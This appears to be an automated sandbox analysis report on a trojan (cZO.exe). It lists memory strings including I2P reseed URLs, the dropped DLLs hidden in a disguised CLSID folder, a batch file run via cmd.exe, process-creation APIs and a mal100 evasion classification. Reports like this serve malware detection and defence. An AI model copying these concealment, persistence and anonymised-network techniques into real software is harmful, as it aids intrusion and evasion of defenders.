Source: svchost.exe, 0000001F.00000003.3024091052.000001D379356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023782849.000001D37935A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D37932C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3024091052.000001D379356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023966604.000001D379340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023930406.000001D37933B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023966604.000001D379340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023930406.000001D37933B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263875376.000001D3798C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
Source: svchost.exe, 0000001F.00000003.3023767682.000001D379310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srfI
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023966604.000001D379340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023930406.000001D37933B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/resetpw.srf
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023966604.000001D379340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023930406.000001D37933B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/retention.srf
Source: svchost.exe, 0000001F.00000002.3263489218.000001D379854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3262697506.000001D378ABC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com:443/RST2.srf
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023966604.000001D379340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023930406.000001D37933B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/MSARST2.srf
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 0000001F.00000003.3023767682.000001D379310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf:CLSID
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srfU
Source: svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srfU
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023767682.000001D379310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srfToken
Source: svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023767682.000001D379310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 0000001F.00000003.3023767682.000001D379310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srfRE
Source: shdpeqdz2a54sj46ur0.exe, 0000000B.00000002.2510930956.00007FF76A97E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 00000016.00000002.3155007370.000002234FE24000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.11.dr	String found in binary or memory: https://netdb.i2p2.no/
Source: main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	String found in binary or memory: https://reseed-fr.i2pd.xyz/
Source: main.exe, 00000016.00000002.3155678668.00000223502E7000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000003.2471613149.00000223502F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed-fr.i2pd.xyz/#
Source: main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed-fr.i2pd.xyz/p
Source: main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	String found in binary or memory: https://reseed-pl.i2pd.xyz/
Source: main.exe, 00000016.00000003.2484244836.00000223506CE000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000003.2494432573.00000223506CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed-pl.i2pd.xyz/i2pseeds.su3
Source: main.exe, 00000016.00000003.2494432573.00000223506CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed-pl.i2pd.xyz/i2pseeds.su30
Source: main.exe, 00000016.00000003.2484244836.00000223506CE000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000003.2494432573.00000223506CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed-pl.i2pd.xyz:443/i2pseeds.su3
Source: main.exe, 00000016.00000003.2494432573.00000223506CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed-pl.i2pd.xyz:443/i2pseeds.su3T
Source: main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	String found in binary or memory: https://reseed.diva.exchange/
Source: main.exe, 00000016.00000002.3155678668.00000223502E7000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000003.2471613149.00000223502F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed.diva.exchange/b.c
Source: shdpeqdz2a54sj46ur0.exe, 0000000B.00000002.2510930956.00007FF76A97E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 00000016.00000002.3155007370.000002234FE24000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.11.dr	String found in binary or memory: https://reseed.i2p-projekt.de/
Source: main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	String found in binary or memory: https://reseed.i2pgit.org/
Source: main.exe, 00000016.00000002.3155678668.00000223502E7000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000003.2471613149.00000223502F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed.i2pgit.org/P#
Source: main.exe, 00000016.00000003.2503133983.00000223506CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed.i2pgit.org/i2pseeds.su3
Source: main.exe, 00000016.00000003.2503133983.00000223506CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed.i2pgit.org/i2pseeds.su30
Source: main.exe, 00000016.00000003.2503133983.00000223506CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed.i2pgit.org:443/i2pseeds.su3
Source: main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	String found in binary or memory: https://reseed.memcpy.io/
Source: main.exe, 00000016.00000002.3155678668.00000223502E7000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000003.2471613149.00000223502F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed.memcpy.io/hP#
Source: main.exe, 00000016.00000003.2471943070.000002235030D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000003.2471338802.0000022350309000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000003.2471413512.000002235030B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed.memcpy.io:443/i2pseeds.su3
Source: main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	String found in binary or memory: https://reseed.onion.im/
Source: main.exe, 00000020.00000002.3262201152.00000270D4100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed.onion.im/i2pseeds.su3
Source: main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	String found in binary or memory: https://reseed.stormycloud.org/
Source: main.exe, 00000020.00000002.3261726260.00000270D3CED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed.stormycloud.org/&
Source: main.exe, 00000020.00000002.3261726260.00000270D3CED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed.stormycloud.org/7
Source: main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed.stormycloud.org/??
Source: main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed.stormycloud.org/b.c
Source: main.exe, 00000020.00000002.3261726260.00000270D3CED000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	String found in binary or memory: https://reseed2.i2p.net/
Source: svchost.exe, 0000001F.00000003.3023799636.000001D379355000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023966604.000001D379340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023930406.000001D37933B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D37932C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://signup.live.com/signup.aspx
Source: main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	String found in binary or memory: https://www2.mk16.de/
Source: main.exe, 00000016.00000002.3155678668.000002235025D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www2.mk16.de/J

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443

Source: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe

Code function: 6_2_00007FF77572929A inet_addr,ntohl,

6_2_00007FF77572929A

Source: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe

Code function: 6_2_00007FF77572292E strlen,strcat,strlen,strlen,strlen,strcat,strlen,strlen,strlen,strcat,LogonUserA,GetLastError,CreateProcessAsUserA,GetLastError,CloseHandle,CreateProcessA,GetLastError,

6_2_00007FF77572292E

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

File deleted: C:\Windows\Temp\sdjnUb5S

Source: C:\Users\user\Desktop\cZO.exe	Code function: 0_2_024D4B4A	0_2_024D4B4A
Source: C:\Users\user\Desktop\cZO.exe	Code function: 0_2_024D5B3E	0_2_024D5B3E
Source: C:\Users\user\Desktop\cZO.exe	Code function: 0_2_024E53EA	0_2_024E53EA
Source: C:\Users\user\Desktop\cZO.exe	Code function: 0_2_024E701E	0_2_024E701E
Source: C:\Users\user\Desktop\cZO.exe	Code function: 0_2_024D60CE	0_2_024D60CE
Source: C:\Users\user\Desktop\cZO.exe	Code function: 0_2_024ED122	0_2_024ED122
Source: C:\Users\user\Desktop\cZO.exe	Code function: 0_2_024D7F2E	0_2_024D7F2E
Source: C:\Users\user\Desktop\cZO.exe	Code function: 0_2_024D9CF6	0_2_024D9CF6
Source: C:\Users\user\Desktop\cZO.exe	Code function: 0_2_024DCDA6	0_2_024DCDA6
Source: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe	Code function: 6_2_00007FF77572DE8A	6_2_00007FF77572DE8A
Source: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe	Code function: 6_2_00007FF77572E4E0	6_2_00007FF77572E4E0
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF6BE042098	22_2_00007FF6BE042098
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF6BE03C4C0	22_2_00007FF6BE03C4C0
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B91609C0	22_2_00007FF8B91609C0
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B91925F0	22_2_00007FF8B91925F0
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BA4FF020	22_2_00007FF8BA4FF020
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB3CBC0	22_2_00007FF8BFB3CBC0
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB5EB40	22_2_00007FF8BFB5EB40
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB8A8B5	22_2_00007FF8BFB8A8B5
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB8A78B	22_2_00007FF8BFB8A78B
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB90710	22_2_00007FF8BFB90710
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB8A643	22_2_00007FF8BFB8A643
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB8A558	22_2_00007FF8BFB8A558
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8B91609C0	32_2_00007FF8B91609C0
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8B91925F0	32_2_00007FF8B91925F0
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8BA50F020	32_2_00007FF8BA50F020
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8BFB3CBC0	32_2_00007FF8BFB3CBC0
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8BFB5EB40	32_2_00007FF8BFB5EB40
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8BFB8A8B5	32_2_00007FF8BFB8A8B5
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8BFB8A78B	32_2_00007FF8BFB8A78B
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8BFB90710	32_2_00007FF8BFB90710
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8BFB8A643	32_2_00007FF8BFB8A643
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8BFB8A558	32_2_00007FF8BFB8A558

Source: Joe Sandbox View	Dropped File: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.dll 5E38EA7E3DD96FE1C6BB2EBA38C7BDE638C6B6E7898F906E343D9500AFF86499
Source: Joe Sandbox View	Dropped File: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.dll 0B628EA2BA9CD77621D90A0A7456659ED86C118EB7655F6074B3B5648BAC0A02
Source: Joe Sandbox View	Dropped File: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.dll 64B09FAC89FC9645DFE624D832BB2FF2FC8BA6BA9BC1A96C6EEE8C7F9C021266

Source: C:\Windows\System32\icacls.exe

Process token adjusted: Security

Source: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe	Code function: String function: 00007FF7757214E2 appears 295 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FF8B9181292 appears 1030 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FF8BFB3A202 appears 690 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FF8BFB81292 appears 754 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FF8BFB52FD2 appears 774 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FF6BE0399E2 appears 303 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FF8BA501292 appears 394 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FF8BA4F1292 appears 394 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FF8B9151292 appears 924 times

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 432 -p 6524 -ip 6524

Source: termsrv32.dll.22.dr	Static PE information: Number of sections : 11 > 10
Source: samctl.dll.22.dr	Static PE information: Number of sections : 11 > 10
Source: cnccli.dll.22.dr	Static PE information: Number of sections : 11 > 10
Source: I77yQ5in.22.dr	Static PE information: Number of sections : 11 > 10
Source: dwlmgr.dll.22.dr	Static PE information: Number of sections : 11 > 10
Source: o6oDuAJl.22.dr	Static PE information: Number of sections : 11 > 10
Source: OwuZZod2.22.dr	Static PE information: Number of sections : 11 > 10
Source: evtsrv.dll.22.dr	Static PE information: Number of sections : 11 > 10
Source: cZO.exe	Static PE information: Number of sections : 11 > 10
Source: XpOp833v.22.dr	Static PE information: Number of sections : 11 > 10
Source: GmdNT1AN.22.dr	Static PE information: Number of sections : 11 > 10
Source: libi2p.dll.22.dr	Static PE information: Number of sections : 11 > 10
Source: prgmgr.dll.22.dr	Static PE information: Number of sections : 11 > 10
Source: EgwqOk24.22.dr	Static PE information: Number of sections : 11 > 10
Source: rdpctl.dll.22.dr	Static PE information: Number of sections : 11 > 10
Source: YXkdIYk6.22.dr	Static PE information: Number of sections : 11 > 10
Source: YkhL6reh.22.dr	Static PE information: Number of sections : 11 > 10

Source: cZO.exe, 00000000.00000000.2004898378.00000000007B6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameIntegrator.exe@ vs cZO.exe
Source: cZO.exe, 00000000.00000002.2007514026.00000000025F4000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCOMCTL32.DLL.MUIj% vs cZO.exe
Source: cZO.exe, 00000001.00000002.3262898232.0000000002724000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCOMCTL32.DLL.MUIj% vs cZO.exe
Source: cZO.exe	Binary or memory string: OriginalFilenameIntegrator.exe@ vs cZO.exe

Source: classification engine

Classification label: mal100.troj.evad.winEXE@46/72@4/59

Source: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe

Code function: 6_2_00007FF77572855D CreateToolhelp32Snapshot,Process32First,Process32Next,GetLastError,GetLastError,GetLastError,OpenProcess,QueryFullProcessImageNameW,GetLastError,CloseHandle,GetLastError,CloseHandle,

6_2_00007FF77572855D

Source: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe

Code function: 6_2_00007FF77573B558 DeleteCriticalSection,FindClose,FindNextFileA,FindResourceA,

6_2_00007FF77573B558

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: 22_2_00007FF6BE038C4A strcmp,strcmp,StartServiceCtrlDispatcherA,_read,GetLastError,

22_2_00007FF6BE038C4A

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: 22_2_00007FF6BE038C4A strcmp,strcmp,StartServiceCtrlDispatcherA,_read,GetLastError,

22_2_00007FF6BE038C4A

Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe

File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1532:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:4324:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5452:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \BaseNamedObjects\Local\WERReportingForProcess6524
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6616:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5568:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5532:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6428:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3920:120:WilError_03

Source: C:\Users\user\Desktop\cZO.exe

File created: C:\Users\user\AppData\Local\Temp\7h14dhb9g32w177ypoi9wje.bat

Jump to behavior

Source: C:\Users\user\Desktop\cZO.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /k "C:\Users\user\AppData\Local\Temp\7h14dhb9g32w177ypoi9wje.bat"

Source: cZO.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\cZO.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\cZO.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\cZO.exe	Key opened: HKEY_USERS.DEFAULT\Software\Borland\Delphi\Locales	Jump to behavior
